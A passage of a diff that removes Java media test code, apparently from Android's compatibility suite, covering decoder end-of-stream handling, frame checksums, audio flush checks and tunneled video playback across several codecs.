-    private static void verifySecureVideoDecodeSupport(
-            String mime, int width, int height, float rate, int profile, int level, int bitrate) {
-        MediaFormat baseFormat = new MediaFormat();
-        baseFormat.setString(MediaFormat.KEY_MIME, mime);
-        baseFormat.setFeatureEnabled(CodecCapabilities.FEATURE_SecurePlayback, true);
-
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-        format.setFeatureEnabled(CodecCapabilities.FEATURE_SecurePlayback, true);
-        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        format.setInteger(MediaFormat.KEY_PROFILE, profile);
-        format.setInteger(MediaFormat.KEY_LEVEL, level);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        if (mcl.findDecoderForFormat(baseFormat) == null) {
-            MediaUtils.skipTest("no secure decoder for " + mime);
-            return;
-        }
-        assertNotNull("no decoder for " + format, mcl.findDecoderForFormat(format));
-    }
-
-    private static MediaCodec createDecoder(MediaFormat format) {
-        return MediaUtils.getDecoder(format);
-    }
-
-    // for video
-    private int countFrames(final String video, int resetMode, int eosframe, Surface s)
-            throws Exception {
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(mInpPrefix + video);
-        extractor.selectTrack(0);
-
-        int numframes = decodeWithChecks(null /* decoderName */, extractor,
-                CHECKFLAG_RETURN_OUTPUTFRAMES | CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH,
-                resetMode, s, eosframe, null, null);
-
-        extractor.release();
-        return numframes;
-    }
-
-    // for audio
-    private int countSize(final String audio, int resetMode, int eosframe)
-            throws Exception {
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(mInpPrefix + audio);
-
-        extractor.selectTrack(0);
-
-        // fails CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH
-        int outputSize = decodeWithChecks(null /* decoderName */, extractor,
-                CHECKFLAG_RETURN_OUTPUTSIZE, resetMode, null,
-                eosframe, null, null);
-
-        extractor.release();
-        return outputSize;
-    }
-
-    /*
-    * Test all decoders' EOS behavior.
-    */
-    private void testEOSBehavior(final String movie, int stopatsample) throws Exception {
-        testEOSBehavior(movie, new int[] {stopatsample});
-    }
-
-    /*
-    * Test all decoders' EOS behavior.
-    */
-    private void testEOSBehavior(final String movie, int[] stopAtSample) throws Exception {
-        Surface s = null;
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(mInpPrefix + movie);
-        extractor.selectTrack(0); // consider variable looping on track
-        MediaFormat format = extractor.getTrackFormat(0);
-
-        String[] decoderNames = MediaUtils.getDecoderNames(format);
-        for (String decoderName: decoderNames) {
-            List<Long> outputChecksums = new ArrayList<Long>();
-            List<Long> outputTimestamps = new ArrayList<Long>();
-            Arrays.sort(stopAtSample);
-            int last = stopAtSample.length - 1;
-
-            // decode reference (longest sequence to stop at + 100) and
-            // store checksums/pts in outputChecksums and outputTimestamps
-            // (will fail CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH)
-            decodeWithChecks(decoderName, extractor,
-                    CHECKFLAG_SETCHECKSUM | CHECKFLAG_SETPTS | CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH,
-                    RESET_MODE_NONE, s,
-                    stopAtSample[last] + 100, outputChecksums, outputTimestamps);
-
-            // decode stopAtSample requests in reverse order (longest to
-            // shortest) and compare to reference checksums/pts in
-            // outputChecksums and outputTimestamps
-            for (int i = last; i >= 0; --i) {
-                if (true) { // reposition extractor
-                    extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                } else { // create new extractor
-                    extractor.release();
-                    extractor = new MediaExtractor();
-                    extractor.setDataSource(mInpPrefix + movie);
-                    extractor.selectTrack(0); // consider variable looping on track
-                }
-                decodeWithChecks(decoderName, extractor,
-                        CHECKFLAG_COMPARECHECKSUM | CHECKFLAG_COMPAREPTS
-                        | CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH
-                        | CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH,
-                        RESET_MODE_NONE, s,
-                        stopAtSample[i], outputChecksums, outputTimestamps);
-            }
-            extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-        }
-
-        extractor.release();
-    }
-
-    private static final int CHECKFLAG_SETCHECKSUM = 1 << 0;
-    private static final int CHECKFLAG_COMPARECHECKSUM = 1 << 1;
-    private static final int CHECKFLAG_SETPTS = 1 << 2;
-    private static final int CHECKFLAG_COMPAREPTS = 1 << 3;
-    private static final int CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH = 1 << 4;
-    private static final int CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH = 1 << 5;
-    private static final int CHECKFLAG_RETURN_OUTPUTFRAMES = 1 << 6;
-    private static final int CHECKFLAG_RETURN_OUTPUTSIZE = 1 << 7;
-
-    /**
-     * Decodes frames with parameterized checks and return values.
-     * If decoderName is provided, mediacodec will create that decoder. Otherwise,
-     * mediacodec will use the default decoder provided by platform.
-     * The integer return can be selected through the checkFlags variable.
-     */
-    private static int decodeWithChecks(
-            String decoderName, MediaExtractor extractor,
-            int checkFlags, int resetMode, Surface surface, int stopAtSample,
-            List<Long> outputChecksums, List<Long> outputTimestamps)
-            throws Exception {
-        int trackIndex = extractor.getSampleTrackIndex();
-        MediaFormat format = extractor.getTrackFormat(trackIndex);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        boolean isAudio = mime.startsWith("audio/");
-        ByteBuffer[] codecInputBuffers;
-        ByteBuffer[] codecOutputBuffers;
-
-        MediaCodec codec =
-                decoderName == null ? createDecoder(format) : MediaCodec.createByCodecName(decoderName);
-        Log.i("@@@@", "using codec: " + codec.getName());
-        codec.configure(format, surface, null /* crypto */, 0 /* flags */);
-        codec.start();
-        codecInputBuffers = codec.getInputBuffers();
-        codecOutputBuffers = codec.getOutputBuffers();
-
-        if (resetMode == RESET_MODE_RECONFIGURE) {
-            codec.stop();
-            codec.configure(format, surface, null /* crypto */, 0 /* flags */);
-            codec.start();
-            codecInputBuffers = codec.getInputBuffers();
-            codecOutputBuffers = codec.getOutputBuffers();
-        } else if (resetMode == RESET_MODE_FLUSH) {
-            codec.flush();
-
-            // We must always queue CSD after a flush that is potentially
-            // before we receive output format has changed.
-            queueConfig(codec, format);
-        }
-
-        // start decode loop
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-
-        MediaFormat outFormat = codec.getOutputFormat();
-        long kTimeOutUs = 5000; // 5ms timeout
-        String outMime = format.getString(MediaFormat.KEY_MIME);
-        if ((surface == null) && (outMime != null) && outMime.startsWith("video/")) {
-            int outWidth = outFormat.getInteger(MediaFormat.KEY_WIDTH);
-            int outHeight = outFormat.getInteger(MediaFormat.KEY_HEIGHT);
-            // in the 4K decoding case in byte buffer mode, set kTimeOutUs to 10ms as decode may
-            // involve a memcpy
-            if (outWidth * outHeight >= 8000000) {
-                kTimeOutUs = 10000;
-            }
-        }
-
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        int deadDecoderCounter = 0;
-        int samplenum = 0;
-        int numframes = 0;
-        int outputSize = 0;
-        int width = 0;
-        int height = 0;
-        boolean dochecksum = false;
-        ArrayList<Long> timestamps = new ArrayList<Long>();
-        if ((checkFlags & CHECKFLAG_SETPTS) != 0) {
-            outputTimestamps.clear();
-        }
-        if ((checkFlags & CHECKFLAG_SETCHECKSUM) != 0) {
-            outputChecksums.clear();
-        }
-        boolean advanceDone = true;
-        while (!sawOutputEOS && deadDecoderCounter < 100) {
-            // handle input
-            if (!sawInputEOS) {
-                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
-
-                if (inputBufIndex >= 0) {
-                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-
-                    int sampleSize =
-                            extractor.readSampleData(dstBuf, 0 /* offset */);
-                    assertEquals("end of stream should match extractor.advance()", sampleSize >= 0,
-                            advanceDone);
-                    long presentationTimeUs = extractor.getSampleTime();
-                    advanceDone = extractor.advance();
-                    // int flags = extractor.getSampleFlags();
-                    // Log.i("@@@@", "read sample " + samplenum + ":" +
-                    // extractor.getSampleFlags()
-                    // + " @ " + extractor.getSampleTime() + " size " +
-                    // sampleSize);
-
-                    if (sampleSize < 0) {
-                        assertFalse("advance succeeded after failed read", advanceDone);
-                        Log.d(TAG, "saw input EOS.");
-                        sawInputEOS = true;
-                        assertEquals("extractor.readSampleData() must return -1 at end of stream",
-                                -1, sampleSize);
-                        assertEquals("extractor.getSampleTime() must return -1 at end of stream",
-                                -1, presentationTimeUs);
-                        sampleSize = 0; // required otherwise queueInputBuffer
-                                        // returns invalid.
-                    } else {
-                        timestamps.add(presentationTimeUs);
-                        samplenum++; // increment before comparing with stopAtSample
-                        if (samplenum == stopAtSample) {
-                            Log.d(TAG, "saw input EOS (stop at sample).");
-                            sawInputEOS = true; // tag this sample as EOS
-                        }
-                    }
-                    codec.queueInputBuffer(
-                            inputBufIndex,
-                            0 /* offset */,
-                            sampleSize,
-                            presentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-                } else {
-                    assertEquals(
-                            "codec.dequeueInputBuffer() unrecognized return value: " + inputBufIndex,
-                            MediaCodec.INFO_TRY_AGAIN_LATER, inputBufIndex);
-                }
-            }
-
-            // handle output
-            int outputBufIndex = codec.dequeueOutputBuffer(info, kTimeOutUs);
-
-            deadDecoderCounter++;
-            if (outputBufIndex >= 0) {
-                if (info.size > 0) { // Disregard 0-sized buffers at the end.
-                    deadDecoderCounter = 0;
-                    if (resetMode != RESET_MODE_NONE) {
-                        // once we've gotten some data out of the decoder, reset
-                        // and start again
-                        if (resetMode == RESET_MODE_RECONFIGURE) {
-                            codec.stop();
-                            codec.configure(format, surface /* surface */, null /* crypto */,
-                                    0 /* flags */);
-                            codec.start();
-                            codecInputBuffers = codec.getInputBuffers();
-                            codecOutputBuffers = codec.getOutputBuffers();
-                        } else if (resetMode == RESET_MODE_FLUSH) {
-                            codec.flush();
-                        } else {
-                            fail("unknown resetMode: " + resetMode);
-                        }
-                        // restart at beginning, clear resetMode
-                        resetMode = RESET_MODE_NONE;
-                        extractor.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                        sawInputEOS = false;
-                        numframes = 0;
-                        timestamps.clear();
-                        if ((checkFlags & CHECKFLAG_SETPTS) != 0) {
-                            outputTimestamps.clear();
-                        }
-                        if ((checkFlags & CHECKFLAG_SETCHECKSUM) != 0) {
-                            outputChecksums.clear();
-                        }
-                        continue;
-                    }
-                    if ((checkFlags & CHECKFLAG_COMPAREPTS) != 0) {
-                        assertTrue("number of frames (" + numframes
-                                + ") exceeds number of reference timestamps",
-                                numframes < outputTimestamps.size());
-                        assertEquals("frame ts mismatch at frame " + numframes,
-                                (long) outputTimestamps.get(numframes), info.presentationTimeUs);
-                    } else if ((checkFlags & CHECKFLAG_SETPTS) != 0) {
-                        outputTimestamps.add(info.presentationTimeUs);
-                    }
-                    if ((checkFlags & (CHECKFLAG_SETCHECKSUM | CHECKFLAG_COMPARECHECKSUM)) != 0) {
-                        long sum = 0;   // note: checksum is 0 if buffer format unrecognized
-                        if (dochecksum) {
-                            Image image = codec.getOutputImage(outputBufIndex);
-                            // use image to do crc if it's available
-                            // fall back to buffer if image is not available
-                            if (image != null) {
-                                sum = checksum(image);
-                            } else {
-                                // TODO: add stride - right now just use info.size (as before)
-                                //sum = checksum(codecOutputBuffers[outputBufIndex], width, height,
-                                //        stride);
-                                ByteBuffer outputBuffer = codec.getOutputBuffer(outputBufIndex);
-                                outputBuffer.position(info.offset);
-                                sum = checksum(outputBuffer, info.size);
-                            }
-                        }
-                        if ((checkFlags & CHECKFLAG_COMPARECHECKSUM) != 0) {
-                            assertTrue("number of frames (" + numframes
-                                    + ") exceeds number of reference checksums",
-                                    numframes < outputChecksums.size());
-                            Log.d(TAG, "orig checksum: " + outputChecksums.get(numframes)
-                                    + " new checksum: " + sum);
-                            assertEquals("frame data mismatch at frame " + numframes,
-                                    (long) outputChecksums.get(numframes), sum);
-                        } else if ((checkFlags & CHECKFLAG_SETCHECKSUM) != 0) {
-                            outputChecksums.add(sum);
-                        }
-                    }
-                    if ((checkFlags & CHECKFLAG_COMPAREINPUTOUTPUTPTSMATCH) != 0) {
-                        assertTrue("output timestamp " + info.presentationTimeUs
-                                + " without corresponding input timestamp"
-                                , timestamps.remove(info.presentationTimeUs));
-                    }
-                    outputSize += info.size;
-                    numframes++;
-                }
-                // Log.d(TAG, "got frame, size " + info.size + "/" +
-                // info.presentationTimeUs +
-                // "/" + numframes + "/" + info.flags);
-                codec.releaseOutputBuffer(outputBufIndex, true /* render */);
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "saw output EOS.");
-                    sawOutputEOS = true;
-                }
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-                Log.d(TAG, "output buffers have changed.");
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat oformat = codec.getOutputFormat();
-                if (oformat.containsKey(MediaFormat.KEY_COLOR_FORMAT) &&
-                        oformat.containsKey(MediaFormat.KEY_WIDTH) &&
-                        oformat.containsKey(MediaFormat.KEY_HEIGHT)) {
-                    int colorFormat = oformat.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-                    width = oformat.getInteger(MediaFormat.KEY_WIDTH);
-                    height = oformat.getInteger(MediaFormat.KEY_HEIGHT);
-                    dochecksum = isRecognizedFormat(colorFormat); // only checksum known raw
-                                                                  // buf formats
-                    Log.d(TAG, "checksum fmt: " + colorFormat + " dim " + width + "x" + height);
-                } else {
-                    dochecksum = false; // check with audio later
-                    width = height = 0;
-                    Log.d(TAG, "output format has changed to (unknown video) " + oformat);
-                }
-            } else {
-                assertEquals(
-                        "codec.dequeueOutputBuffer() unrecognized return index: "
-                                + outputBufIndex,
-                        MediaCodec.INFO_TRY_AGAIN_LATER, outputBufIndex);
-            }
-        }
-        codec.stop();
-        codec.release();
-
-        assertTrue("last frame didn't have EOS", sawOutputEOS);
-        if ((checkFlags & CHECKFLAG_COMPAREINPUTOUTPUTSAMPLEMATCH) != 0) {
-            assertEquals("I!=O", samplenum, numframes);
-            if (stopAtSample != 0) {
-                assertEquals("did not stop with right number of frames", stopAtSample, numframes);
-            }
-        }
-        return (checkFlags & CHECKFLAG_RETURN_OUTPUTSIZE) != 0 ? outputSize :
-                (checkFlags & CHECKFLAG_RETURN_OUTPUTFRAMES) != 0 ? numframes :
-                        0;
-    }
-
-    public void testEOSBehaviorH264() throws Exception {
-        // this video has an I frame at 44
-        testEOSBehavior("video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                new int[]{1, 44, 45, 55});
-    }
-    public void testEOSBehaviorHEVC() throws Exception {
-        testEOSBehavior("video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                new int[]{1, 17, 23, 49});
-    }
-
-    public void testEOSBehaviorMpeg2() throws Exception {
-        testEOSBehavior("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                17);
-        testEOSBehavior("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                23);
-        testEOSBehavior("video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4",
-                49);
-    }
-
-    public void testEOSBehaviorH263() throws Exception {
-        // this video has an I frame every 12 frames.
-        testEOSBehavior("video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
-                new int[]{1, 24, 25, 48, 50});
-    }
-
-    public void testEOSBehaviorMpeg4() throws Exception {
-        // this video has an I frame every 12 frames
-        testEOSBehavior("video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                new int[]{1, 24, 25, 48, 50, 2});
-    }
-
-    public void testEOSBehaviorVP8() throws Exception {
-        // this video has an I frame at 46
-        testEOSBehavior("video_480x360_webm_vp8_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                new int[]{1, 46, 47, 57, 45});
-    }
-
-    public void testEOSBehaviorVP9() throws Exception {
-        // this video has an I frame at 44
-        testEOSBehavior("video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm",
-                new int[]{1, 44, 45, 55, 43});
-    }
-
-    public void testEOSBehaviorAV1() throws Exception {
-        // this video has an I frame at 44
-        testEOSBehavior("video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                new int[]{1, 44, 45, 55, 43});
-    }
-
-    /* from EncodeDecodeTest */
-    private static boolean isRecognizedFormat(int colorFormat) {
-        // Log.d(TAG, "color format: " + String.format("0x%08x", colorFormat));
-        switch (colorFormat) {
-        // these are the formats we know how to handle for this test
-            case CodecCapabilities.COLOR_FormatYUV420Planar:
-            case CodecCapabilities.COLOR_FormatYUV420PackedPlanar:
-            case CodecCapabilities.COLOR_FormatYUV420SemiPlanar:
-            case CodecCapabilities.COLOR_FormatYUV420PackedSemiPlanar:
-            case CodecCapabilities.COLOR_TI_FormatYUV420PackedSemiPlanar:
-            case CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar:
-                /*
-                 * TODO: Check newer formats or ignore.
-                 * OMX_SEC_COLOR_FormatNV12Tiled = 0x7FC00002
-                 * OMX_QCOM_COLOR_FormatYUV420PackedSemiPlanar64x32Tile2m8ka = 0x7FA30C03: N4/N7_2
-                 * OMX_QCOM_COLOR_FormatYUV420PackedSemiPlanar32m = 0x7FA30C04: N5
-                 */
-                return true;
-            default:
-                return false;
-        }
-    }
-
-    private static long checksum(ByteBuffer buf, int size) {
-        int cap = buf.capacity();
-        assertTrue("checksum() params are invalid: size = " + size + " cap = " + cap,
-                size > 0 && size <= cap);
-        CRC32 crc = new CRC32();
-        if (buf.hasArray()) {
-            crc.update(buf.array(), buf.position() + buf.arrayOffset(), size);
-        } else {
-            int pos = buf.position();
-            final int rdsize = Math.min(4096, size);
-            byte bb[] = new byte[rdsize];
-            int chk;
-            for (int i = 0; i < size; i += chk) {
-                chk = Math.min(rdsize, size - i);
-                buf.get(bb, 0, chk);
-                crc.update(bb, 0, chk);
-            }
-            buf.position(pos);
-        }
-        return crc.getValue();
-    }
-
-    private static long checksum(ByteBuffer buf, int width, int height, int stride) {
-        int cap = buf.capacity();
-        assertTrue("checksum() params are invalid: w x h , s = "
-                + width + " x " + height + " , " + stride + " cap = " + cap,
-                width > 0 && width <= stride && height > 0 && height * stride <= cap);
-        // YUV 4:2:0 should generally have a data storage height 1.5x greater
-        // than the declared image height, representing the UV planes.
-        //
-        // We only check Y frame for now. Somewhat unknown with tiling effects.
-        //
-        //long tm = System.nanoTime();
-        final int lineinterval = 1; // line sampling frequency
-        CRC32 crc = new CRC32();
-        if (buf.hasArray()) {
-            byte b[] = buf.array();
-            int offs = buf.arrayOffset();
-            for (int i = 0; i < height; i += lineinterval) {
-                crc.update(b, i * stride + offs, width);
-            }
-        } else { // almost always ends up here due to direct buffers
-            int pos = buf.position();
-            if (true) { // this {} is 80x times faster than else {} below.
-                byte[] bb = new byte[width]; // local line buffer
-                for (int i = 0; i < height; i += lineinterval) {
-                    buf.position(pos + i * stride);
-                    buf.get(bb, 0, width);
-                    crc.update(bb, 0, width);
-                }
-            } else {
-                for (int i = 0; i < height; i += lineinterval) {
-                    buf.position(pos + i * stride);
-                    for (int j = 0; j < width; ++j) {
-                        crc.update(buf.get());
-                    }
-                }
-            }
-            buf.position(pos);
-        }
-        //tm = System.nanoTime() - tm;
-        //Log.d(TAG, "checksum time " + tm);
-        return crc.getValue();
-    }
-
-    private static long checksum(Image image) {
-        int format = image.getFormat();
-        assertEquals("unsupported image format", ImageFormat.YUV_420_888, format);
-
-        CRC32 crc = new CRC32();
-
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
-
-        Image.Plane[] planes = image.getPlanes();
-        for (int i = 0; i < planes.length; ++i) {
-            ByteBuffer buf = planes[i].getBuffer();
-
-            int width, height, rowStride, pixelStride, x, y;
-            rowStride = planes[i].getRowStride();
-            pixelStride = planes[i].getPixelStride();
-            if (i == 0) {
-                width = imageWidth;
-                height = imageHeight;
-            } else {
-                width = imageWidth / 2;
-                height = imageHeight /2;
-            }
-            // local contiguous pixel buffer
-            byte[] bb = new byte[width * height];
-            if (buf.hasArray()) {
-                byte b[] = buf.array();
-                int offs = buf.arrayOffset();
-                if (pixelStride == 1) {
-                    for (y = 0; y < height; ++y) {
-                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
-                    }
-                } else {
-                    // do it pixel-by-pixel
-                    for (y = 0; y < height; ++y) {
-                        int lineOffset = offs + y * rowStride;
-                        for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = b[lineOffset + x * pixelStride];
-                        }
-                    }
-                }
-            } else { // almost always ends up here due to direct buffers
-                int pos = buf.position();
-                if (pixelStride == 1) {
-                    for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
-                        buf.get(bb, y * width, width);
-                    }
-                } else {
-                    // local line buffer
-                    byte[] lb = new byte[rowStride];
-                    // do it pixel-by-pixel
-                    for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
-                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
-                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
-                        for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = lb[x * pixelStride];
-                        }
-                    }
-                }
-                buf.position(pos);
-            }
-            crc.update(bb, 0, width * height);
-        }
-
-        return crc.getValue();
-    }
-
-    public void testFlush() throws Exception {
-        testFlush("loudsoftwav.wav");
-        testFlush("loudsoftogg.ogg");
-        testFlush("loudsoftoggmkv.mkv");
-        testFlush("loudsoftoggmp4.mp4");
-        testFlush("loudsoftmp3.mp3");
-        testFlush("loudsoftaac.aac");
-        testFlush("loudsoftfaac.m4a");
-        testFlush("loudsoftitunes.m4a");
-    }
-
-    private void testFlush(final String resource) throws Exception {
-        MediaExtractor extractor;
-        MediaCodec codec;
-        ByteBuffer[] codecInputBuffers;
-        ByteBuffer[] codecOutputBuffers;
-
-        extractor = new MediaExtractor();
-        extractor.setDataSource(mInpPrefix + resource);
-
-        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
-        MediaFormat format = extractor.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not an audio file", mime.startsWith("audio/"));
-
-        codec = MediaCodec.createDecoderByType(mime);
-        assertNotNull("couldn't find codec " + mime, codec);
-
-        codec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
-        codec.start();
-        codecInputBuffers = codec.getInputBuffers();
-        codecOutputBuffers = codec.getOutputBuffers();
-
-        extractor.selectTrack(0);
-
-        // decode a bit of the first part of the file, and verify the amplitude
-        short maxvalue1 = getAmplitude(extractor, codec);
-
-        // flush the codec and seek the extractor a different position, then decode a bit more
-        // and check the amplitude
-        extractor.seekTo(8000000, 0);
-        codec.flush();
-        short maxvalue2 = getAmplitude(extractor, codec);
-
-        assertTrue("first section amplitude too low", maxvalue1 > 20000);
-        assertTrue("second section amplitude too high", maxvalue2 < 5000);
-        codec.stop();
-        codec.release();
-
-    }
-
-    private short getAmplitude(MediaExtractor extractor, MediaCodec codec) {
-        short maxvalue = 0;
-        int numBytesDecoded = 0;
-        final long kTimeOutUs = 5000;
-        ByteBuffer[] codecInputBuffers = codec.getInputBuffers();
-        ByteBuffer[] codecOutputBuffers = codec.getOutputBuffers();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-
-        while(numBytesDecoded < 44100 * 2) {
-            int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
-
-            if (inputBufIndex >= 0) {
-                ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
-
-                int sampleSize = extractor.readSampleData(dstBuf, 0 /* offset */);
-                long presentationTimeUs = extractor.getSampleTime();
-
-                codec.queueInputBuffer(
-                        inputBufIndex,
-                        0 /* offset */,
-                        sampleSize,
-                        presentationTimeUs,
-                        0 /* flags */);
-
-                extractor.advance();
-            }
-            int res = codec.dequeueOutputBuffer(info, kTimeOutUs);
-
-            if (res >= 0) {
-
-                int outputBufIndex = res;
-                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
-
-                buf.position(info.offset);
-                for (int i = 0; i < info.size; i += 2) {
-                    short sample = buf.getShort();
-                    if (maxvalue < sample) {
-                        maxvalue = sample;
-                    }
-                    int idx = (numBytesDecoded + i) / 2;
-                }
-
-                numBytesDecoded += info.size;
-
-                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
-            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat oformat = codec.getOutputFormat();
-            }
-        }
-        return maxvalue;
-    }
-
-    /* return true if a particular video feature is supported for the given mimetype */
-    private boolean isVideoFeatureSupported(String mimeType, String feature) {
-        MediaFormat format = MediaFormat.createVideoFormat( mimeType, 1920, 1080);
-        format.setFeatureEnabled(feature, true);
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        String codecName = mcl.findDecoderForFormat(format);
-        return (codecName == null) ? false : true;
-    }
-
-    /**
-     * Test tunneled video playback mode if supported
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void tunneledVideoPlayback(String mimeType, String videoName) throws Exception {
-        if (!isVideoFeatureSupported(mimeType,
-                CodecCapabilities.FEATURE_TunneledPlayback)) {
-            MediaUtils.skipTest(
-                    TAG,
-                    "No tunneled video playback codec found for MIME " + mimeType);
-            return;
-        }
-
-        AudioManager am = (AudioManager)mContext.getSystemService(Context.AUDIO_SERVICE);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
-        // starts video playback
-        mMediaCodecPlayer.startThread();
-
-        final long durationMs = mMediaCodecPlayer.getDuration();
-        final long timeOutMs = System.currentTimeMillis() + durationMs + 5 * 1000; // add 5 sec
-        while (!mMediaCodecPlayer.isEnded()) {
-            // Log.d(TAG, "currentPosition: " + mMediaCodecPlayer.getCurrentPosition()
-            //         + "  duration: " + mMediaCodecPlayer.getDuration());
-            assertTrue("Tunneled video playback timeout exceeded",
-                    timeOutMs > System.currentTimeMillis());
-            Thread.sleep(SLEEP_TIME_MS);
-            if (mMediaCodecPlayer.getCurrentPosition() >= mMediaCodecPlayer.getDuration()) {
-                Log.d(TAG, "testTunneledVideoPlayback -- current pos = " +
-                        mMediaCodecPlayer.getCurrentPosition() +
-                        ">= duration = " + mMediaCodecPlayer.getDuration());
-                break;
-            }
-        }
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test tunneled video playback mode with HEVC if supported
-     */
-    public void testTunneledVideoPlaybackHevc() throws Exception {
-        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                    "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test tunneled video playback mode with AVC if supported
-     */
-    public void testTunneledVideoPlaybackAvc() throws Exception {
-        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test tunneled video playback mode with VP9 if supported
-     */
-    public void testTunneledVideoPlaybackVp9() throws Exception {
-        tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9,
-                    "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-    /**
-     * Test tunneled video playback flush if supported
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledVideoFlush(String mimeType, String videoName) throws Exception {
-        if (!isVideoFeatureSupported(mimeType,
-                        CodecCapabilities.FEATURE_TunneledPlayback)) {
-            MediaUtils.skipTest(
-                    TAG,
-                    "No tunneled video playback codec found for MIME " + mimeType);
-            return;
-        }
-
-        AudioManager am = (AudioManager)mContext.getSystemService(Context.AUDIO_SERVICE);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-
-        // starts video playback
-        mMediaCodecPlayer.startThread();
-        Thread.sleep(SLEEP_TIME_MS);
-        mMediaCodecPlayer.pause();
-        mMediaCodecPlayer.flush();
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
